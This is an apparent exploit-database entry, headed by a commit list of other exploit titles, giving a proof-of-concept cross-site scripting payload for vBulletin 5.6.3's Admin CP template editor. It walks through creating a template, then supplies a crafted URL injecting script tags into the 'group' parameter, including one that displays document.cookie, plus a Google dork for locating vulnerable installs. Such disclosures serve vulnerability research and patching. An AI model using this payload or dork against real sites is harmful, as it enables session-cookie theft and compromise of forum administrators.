1d95e0bd8b
16 changes to exploits/shellcodes Nxlog Community Edition 2.10.2150 - DoS (Poc) Dolibarr ERP-CRM 12.0.3 - Remote Code Execution (Authenticated) Linksys RE6500 1.0.11.001 - Unauthenticated RCE Content Management System 1.0 - 'First Name' Stored XSS Content Management System 1.0 - 'email' SQL Injection Content Management System 1.0 - 'id' SQL Injection Medical Center Portal Management System 1.0 - 'id' SQL Injection Customer Support System 1.0 - _First Name_ & _Last Name_ Stored XSS Customer Support System 1.0 - 'id' SQL Injection Online Tours & Travels Management System 1.0 - _id_ SQL Injection Interview Management System 1.0 - Stored XSS in Add New Question Interview Management System 1.0 - 'id' SQL Injection Employee Record System 1.0 - Multiple Stored XSS PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting) Victor CMS 1.0 - Multiple SQL Injection (Authenticated)
29 lines
No EOL
1.2 KiB
Text
29 lines
No EOL
1.2 KiB
Text
# Exploit Title: vBulletin 5.6.3 - 'group' Cross Site Scripting
|
|
# Date: 05.09.2020
|
|
# Author: Vincent666 ibn Winnie
|
|
# Software Link: https://www.vbulletin.com/en/features/
|
|
# Tested on: Windows 10
|
|
# Web Browser: Mozilla Firefox & Opera
|
|
# Google Dorks: "Powered by vBulletin® Version 5.6.3"
|
|
# Blog: https://pentestvincent.blogspot.com/2020/11/vbulletin-563-admin-cp-multiple.html
|
|
|
|
Go to the "Admin CP" - click on "Styles" - click "Style Manager" -
|
|
Choose "Denim" or other theme and choose action "Add new template" and
|
|
click "Go".
|
|
|
|
Put on the title "1" and template "1" and "Save and Reload". Now you
|
|
can catch the new URL with HTTP Live Headers or with hands.
|
|
|
|
So..we have Url :
|
|
|
|
https://localhost/admincp/template.php?templateid=608&group=&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=168&textareaScrollTop=0
|
|
|
|
Test it with hands and get cross site scripting. Use for tests
|
|
different browsers. I use Mozilla Firefox and Opera.
|
|
|
|
https://localhost/admincp/template.php?templateid=1&group=""><script>alert("Cross
|
|
Site Scripting")</script><script>alert(document.cookie)</script>&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=
|
|
|
|
Picture:
|
|
|
|
https://imgur.com/a/b6gH5Fn |